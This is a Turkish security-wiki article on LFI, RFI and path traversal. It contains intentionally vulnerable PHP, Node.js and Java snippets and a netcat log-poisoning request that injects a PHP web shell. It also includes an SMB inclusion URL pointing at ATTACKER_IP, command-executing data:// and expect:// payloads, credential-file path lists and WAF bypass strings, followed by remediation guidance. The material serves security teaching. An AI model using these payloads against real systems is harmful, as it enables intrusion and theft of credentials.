File Inclusion (LFI / RFI) & Path Traversal
> Yazar: İlknur Şeyma Uzun
File Inclusion ve Path Traversal zafiyetleri, modern web uygulamalarındaki en kritik ve yaygın mimari kusurlardan biridir. Bu zafiyetlerin doğası, uygulamanın dosya sistemine erişim sağlayan API'leri (örneğin POSIX open(), C/PHP fopen(), include(), require()) kullanırken dışarıdan gelen (user-supplied) verileri yeterince sanitize etmemesinden kaynaklanır. Red Team operasyonlarında bu zafiyetlerin stratejik değeri paha biçilemezdir; çünkü yetkisiz veri okuma (Data Exfiltration) eyleminden, sunucu belleğinde zararlı kod çalıştırmaya (Remote Code Execution - RCE) uzanan kusursuz bir "Exploit Chain" (İstismar Zinciri) sunarlar.
Modern mimarilerde, uygulamanın Abstract Syntax Tree (AST) seviyesinde yorumlayıcıya (interpreter) aktarılan dosya yolları, işletim sisteminin Virtual File System (VFS) katmanında doğrudan system call (syscall) seviyesinde karşılık bulur. Güvenlik doğrulaması (Validation) yapılmayan bir I/O işlemi, saldırganın uygulama bağlamında (Application Context) işletim sistemi sınırlarını ihlal etmesine olanak tanır.
How It Works (Teknik Analiz)
File Inclusion ve Path Traversal temelde bir Girdi Doğrulama (Input Validation) başarısızlığıdır. Uygulama, istemciden aldığı veriyi (URL parametresi, body verisi, cookie veya HTTP header) doğrudan bir dosya yolu değişkenine (file path parameter) atadığında ortaya çıkar.
İşletim sistemleri dosya yollarını çözümlerken "Relative Path" (Göreceli Yol) ve "Absolute Path" (Mutlak Yol) mantığını kullanır. İşletim sistemi çekirdeği (Kernel), ../ veya ..\ dizilerini algıladığında ağaç yapısında bir üst dizine atlama (Directory Traversal) komutu olarak işler. Web sunucusu (Apache, Nginx vb.) bir web kök dizini (Web Root, örn: /var/www/html/) belirlese de, arka planda çalışan betik dilleri (PHP, Python, Node.js) genellikle sunucunun kısıtlamalarına tabi kalmadan doğrudan OS kernel'ına dosya okuma isteği gönderir. Bu uyumsuzluk, Directory Traversal ile başlayan saldırının File Inclusion ile birleşerek kod yürütülmesine dönüşmesini sağlar.
Vulnerable Code Patterns
Aşağıdaki örneklerde, farklı dillerde bu zafiyete neden olan anti-pattern yapıları inceleyelim.
1. PHP - Klasik LFI/RFI Zafiyeti
<?php
// Gelen 'page' parametresi herhangi bir filtrelemeden geçmeden dahil ediliyor.
// allow_url_include=On ise RFI, Off ise LFI zafiyetine yol açar.
$file = $_GET['page'];
include($file);
// Diğer tehlikeli fonksiyonlar:
// require(), include_once(), require_once(), file_get_contents(), fopen()
?>
2. Node.js (Express) - Path Traversal Zafiyeti
const express = require('express');
const fs = require('fs');
const app = express();
app.get('/download', (req, res) => {
// Kullanıcıdan alınan dosya adı doğrudan fs.readFile metoduna aktarılıyor.
let filename = req.query.file;
let filePath = '/var/www/uploads/' + filename;
// Saldırgan filename parametresine "../../../etc/passwd" verdiğinde
// filePath değişkeni '/var/www/uploads/../../../etc/passwd' olarak çözümlenir.
fs.readFile(filePath, 'utf8', (err, data) => {
if (err) res.send("Error");
res.send(data);
});
});
3. Java (Spring) - Yetersiz Yol Doğrulaması
import java.io.File;
import java.io.FileInputStream;
import javax.servlet.http.HttpServletResponse;
public void getFile(String fileName, HttpServletResponse response) throws Exception {
// Java'da java.io.File nesnesi traversal karakterlerini kernel'a olduğu gibi iletir.
File file = new File("/var/www/images/", fileName);
FileInputStream in = new FileInputStream(file);
// ... dosya okuma ve response dönme işlemleri ...
}
Detection & Enumeration (Keşif ve Analiz)
Keşif aşamasında amaç, hedefin hangi parametreleri üzerinden dosya sistemiyle etkileşime girdiğini tespit etmektir. Parametre isimleri genellikle page, file, doc, dir, path, folder, include, template gibi değişkenlerden oluşur.
Manuel Test Metodolojisi:
- Error-Based Analysis (Hata Tabanlı Çıkarım): Girdi alanlarına rastgele stringler veya geçersiz dosya yolları (
/invalid_file_test.php) girilerek uygulamanın döndürdüğü hatalar analiz edilir.Warning: include(invalid_file_test.php): failed to open streamgibi bir hata, sistemininclude()fonksiyonunu kullandığını ve LFI potansiyeli taşıdığını kesinleştirir. - Behavioral Analysis (Davranışsal Analiz): Girdi olarak mevcut uygulamanın kendi dosyası (örn:
index.php?page=index.php) verilir. Sayfanın sonsuz döngüye girmesi, aşırı yavaşlaması veya sayfanın içinde sayfanın kaynak kodunun tekrar yüklenmesi LFI zafiyetini gösterir. - Fuzzing (Bulanıklaştırma): FFuF veya Burp Intruder kullanılarak gelişmiş sözlük (dictionary) saldırıları gerçekleştirilir. Hedef, bilinen sistem dosyalarını okumaya çalışmaktır.
Fuzzing Komut Örneği:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://target.com/index.php?page=FUZZ" -fw 20
Attack Vectors & Exploitation (İstismar Vektörleri)
Path Traversal (Directory Traversal)
Uygulamanın belirlediği kök dizinden (base directory) kaçarak işletim sistemindeki hassas yapılandırma dosyalarını okuma işlemidir. Hedef sunucuda RCE elde edilemediği durumlarda, veritabanı kimlik bilgileri, kaynak kodlar ve kullanıcı şifre hash'lerini sızdırmak için kullanılır.
Local File Inclusion (LFI)
Path Traversal ile dosyaları okumanın ötesine geçerek, okunan dosyanın içerisindeki kod bloklarının uygulama bağlamında (örn. PHP interpreter tarafından) çalıştırılması (execution) eylemidir. include() gibi fonksiyonlar, okudukları metnin içinde <?php ... ?> etiketi görürse uzantısı ne olursa olsun (örneğin .log, .txt, .jpg) bu kodu anında çalıştırır.
Remote File Inclusion (RFI)
Uygulamanın dış bir ağdan veya saldırgana ait bir sunucudan dosya dahil etmesine olanak tanıyan zafiyettir. PHP ortamlarında çalışması için php.ini dosyasında allow_url_include = On ve allow_url_fopen = On yapılandırmalarının aktif olması gerekir.
LFI to RCE via Log Poisoning
Hedef sistemde LFI tespit edildiğinde bunu RCE'ye (Remote Code Execution) yükseltmenin en etkili yoludur. Saldırgan, web sunucusunun (Apache, Nginx) veya farklı bir servisin (SSH, FTP) log dosyalarına PHP kodu enjekte eder. Ardından LFI zafiyeti üzerinden bu log dosyasını çağırarak içindeki PHP kodunu çalıştırır.
İstismar Adımları:
- Netcat ile sunucuya bağlan ve zararlı User-Agent veya URL isteği gönder:
nc target.com 80 GET /<?php system($_GET['cmd']); ?> HTTP/1.1 Host: target.com Connection: close - Apache bu isteği
400 Bad Requestveya404 Not Foundolarak değerlendirir ancakaccess.logveyaerror.logdosyasına olduğu gibi kaydeder. - LFI üzerinden log dosyasını tetikle:
http://target.com/index.php?page=/var/log/apache2/access.log&cmd=id
LFI to RCE via PHP Sessions
Eğer uygulama kullanıcı oturum verilerini (session data) sunucu tarafında bir dosyada saklıyor ve kullanıcı bu veriye bir şekilde müdahale edebiliyorsa, session dosyasının içi zehirlenir.
- Formlara veya profil bilgisi alanlarına
<?php echo system("whoami"); ?>yazılır. - Tarayıcı çerezlerindeki (Cookies)
PHPSESSIDdeğeri alınır. (Örn:1a2b3c4d...) - LFI üzerinden session dosyası tetiklenir:
http://target.com/index.php?page=/var/lib/php/sessions/sess_1a2b3c4d
LFI to RCE via File Upload
Sistemde sadece resim yüklemeye izin veren kısıtlı bir dosya yükleme özelliği (File Upload) varsa, içerisine PHP kodu gömülmüş (EXIF datası veya dosya sonu) bir .jpg veya .png yüklenir. Uzantısı filtreye takılmasa da, LFI kullanılarak yüklenen resim dahil edilir ve içindeki kod çalıştırılır.
RFI via SMB (Windows Environments)
Modern PHP sistemlerinde allow_url_include = Off varsayılan olarak kapalıdır ve http/ftp tabanlı RFI engellenir. Ancak hedef sistem Windows ise, PHP allow_url_include ayarını ihlal etmeden SMB (\\) protokolü üzerinden uzak dosya çağırabilir. Saldırgan dışarıya açık bir SMB paylaşımı kurar ve içine shell.php koyar:
http://target.com/index.php?page=\\ATTACKER_IP\share\shell.php
LFI via /proc/self/environ
Eski nesil CGI tabanlı sunucularda çalışan bir tekniktir. Saldırgan HTTP başlığındaki (Header) User-Agent kısmına zararlı PHP kodunu yazar.
LFI üzerinden /proc/self/environ dosyası okunduğunda, bu dosya o anki işlemin çevresel değişkenlerini (User-Agent dahil) içerdiği için kod tetiklenir.
Payloads & Advanced Commands
Basic Linux/Unix Payloads
Sunucunun türünü ve içerisindeki kritik kullanıcıları belirlemek için kullanılan başlangıç payload'larıdır.
/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.bash_history
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
Basic Windows Payloads
Windows sunucuların yapılandırma ve log dosyaları.
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
c:\windows\win.ini
c:\windows\system.ini
c:\windows\repair\sam
c:\windows\system32\config\sam
c:\windows\system32\config\system
c:\inetpub\logs\logfiles
PHP Wrapper Payloads (LFI/RFI)
PHP'nin yerleşik I/O akışlarını (stream wrappers) manipüle eden ileri düzey payloadlar. Kaynak kod okumak veya komut çalıştırmak için kullanılırlar.
1. Kaynak Kodu Okuma (Base64 Encode):
Uygulama include() edilen dosyayı anında çalıştıracağı için, kaynak kodunu okumak imkansızdır. Bunu aşmak için dosya çalıştırılmadan önce Base64 formatına dönüştürülür.
php://filter/read=convert.base64-encode/resource=config.php
php://filter/read=convert.base64-encode/resource=../../../../etc/passwd
2. Karakter Değiştirme (Rot13): WAF ve IDS imzalarını aşmak için filtreleme işlemi.
php://filter/string.rot13/resource=.htaccess
Base64 & Data Wrapper Execution
data:// wrapper'ı, harici veya yerel bir dosya belirtmek yerine, payload'un direkt olarak URL üzerinden satır içi (inline) verilmesini sağlar. RCE elde etmek için doğrudan kullanılır.
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=whoami
data:text/plain,<?php system('id'); ?>
Expect Wrapper Execution
expect:// eklentisi PHP'de aktifse, doğrudan işletim sistemi komutu çalıştırılmasına olanak tanır.
expect://id
expect://ls%20-al
Bypass & Obfuscation (Atlatma Teknikleri)
Hedef sistemlerde geliştiriciler zafiyeti engellemek için genellikle str_replace() veya Regex ile ../ ifadelerini temizlerler. Ancak bu zayıf sanitizasyon yöntemleri atlatılabilir.
Null Byte Injection (%00)
PHP < 5.3.4 ve C/C++ tabanlı alt uç fonksiyonlarda geçerlidir. C dilinde stringler "Null Byte" (\x00) ile sonlandırılır. Uygulama kodda dosya sonuna .php eklemeye zorluyorsa (örn: include($file . ".php");), saldırgan bunu devre dışı bırakır.
?page=../../../etc/passwd%00
Bu payload kernel'a iletildiğinde /etc/passwd olarak okunur, sonrasındaki .php yok sayılır.
URL & Double Encoding
Web sunucuları ve WAF'lar genellikle standart ../ dizisini filtreler. Parametreleri URL encode ve Double URL encode yaparak WAF kuralları aşılır.
- URL Encode:
%2e%2e%2f - Double URL Encode:
%252e%252e%252f - Özel Encode'lar:
..%c0%afveya..%ef%bc%8f
Filter Evasion (Non-Recursive Stripping)
Eğer uygulama sadece bir kere ../ dizisini siliyor ve döngüsel (recursive) bir silme yapmıyorsa, iç içe geçmiş (nested) traversal dizileri kullanılır. Uygulama ortadaki ../'yi sildiğinde, kalan parçalar birleşerek yeni bir ../ oluşturur.
?page=....//....//....//etc/passwd
?page=....\/....\/....\/etc/passwd
?page=..././..././..././etc/passwd
Path Truncation (Dizin Kırpma)
Linux ve Windows işletim sistemlerinde dosya yolu için bir uzunluk sınırı vardır (Çoğunlukla MAX_PATH 4096 byte/karakterdir). PHP, bu sınırı aşan kısmı otomatik olarak kırpar (truncate). Eğer geliştirici kodda include($file . ".html"); kullanıyorsa, saldırgan çok uzun bir dizin girerek .html kısmının 4096 karakter sınırının dışında kalmasını sağlar.
?page=../../../etc/passwd....................................[x4096 kere]
?page=../../../etc/passwd\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.[x4096 kere]
?page=../../../[x4096 kere]../../../../../etc/passwd
Start of Path Validation Bypass
Bazı sistemler girdinin kesinlikle /var/www/html/ gibi belirli bir kök dizinle başlamasını şart koşar. Bu durumda geçerli dizin başa yazılır ve hemen peşinden traversal uygulanır.
?page=/var/www/html/../../../../../../etc/passwd
Remediation & Prevention (Önleme ve Savunma)
LFI ve Path Traversal zafiyetlerini kökünden çözmek için Blue Team ve geliştirici ekiplerinin uygulaması gereken mimari güvenlik pratikleri:
- Strict Input Validation & Allowlisting (Kesin İzin Verilenler Listesi):
Kullanıcı girdisini dosya yollarına doğrudan entegre etmek yerine dolaylı referanslar kullanılmalıdır. Örneğin
1verildiğindecontact.php,2verildiğindeabout.phpçağrılmalıdır.$pages = ["contact" => "contact.php", "about" => "about.php"]; if (array_key_exists($_GET['page'], $pages)) { include($pages[$_GET['page']]); } else { // Hata yönetimi } - Path Canonicalization (Dosya Yolu Standartlaştırma):
Dosya içeriğini okumadan önce veya include etmeden önce, dosya yolunun çözümlenmiş (canonicalized) halini alıp güvenli dizinde olduğundan emin olunmalıdır. PHP'de
realpath(), Java'dagetCanonicalPath()kullanılır.$base_dir = "/var/www/html/pages/"; $requested_file = $base_dir . $_GET['page']; $resolved_path = realpath($requested_file); if ($resolved_path && strpos($resolved_path, $base_dir) === 0) { include($resolved_path); } - Environment Hardening (Sunucu Sıkılaştırma):
- PHP konfigürasyonu (
php.ini) içerisindeallow_url_include = Offveallow_url_fopen = Offyapılmalıdır. - Uygulama, işletim sisteminde kısıtlı haklara sahip bir kullanıcı ile çalıştırılmalıdır (Principle of Least Privilege).
- Sunucu tarafında AppArmor, SELinux veya Chroot jails (Kafesleme) kullanarak uygulamanın kendi klasörü dışına çıkması kernel seviyesinde engellenmelidir.
open_basedirdirektifi kullanılarak PHP'nin yalnızca belirli dizinlere erişmesi sağlanmalıdır.
- PHP konfigürasyonu (
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| FFuF | Hızlı ve gelişmiş web fuzzer ile LFI/Traversal endpointlerini keşfetme. | ffuf -u http://target/index.php?page=FUZZ -w wordlist.txt |
| LFISuite | Tam otomatik LFI tarayıcı, istismar edici ve Reverse Shell aracı. | python lfisuite.py |
| Kadimus | Gelişmiş LFI istismar aracı, Log poisoning ve RCE otomasyonu yapar. | kadimus -u http://target.com/index.php?page= -S |
| Fimap | Python tabanlı, LFI/RFI bulma, analiz etme ve RCE elde etme motoru. | fimap -u "http://target.com/index.php?page=" |
| Burp Suite Intruder | WAF Bypass için Double Encoding veya Null Byte testlerini otomatikleştirme. | Özel Wordlist ile Sniper Attack yapılandırması |
| Panoptic | LFI/Path Traversal üzerinden yaygın log ve konfigürasyon dosyalarını otomatik çeker. | panoptic.py -u "http://target/index.php?page=" |
Yazar: İlknur Şeyma Uzun · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv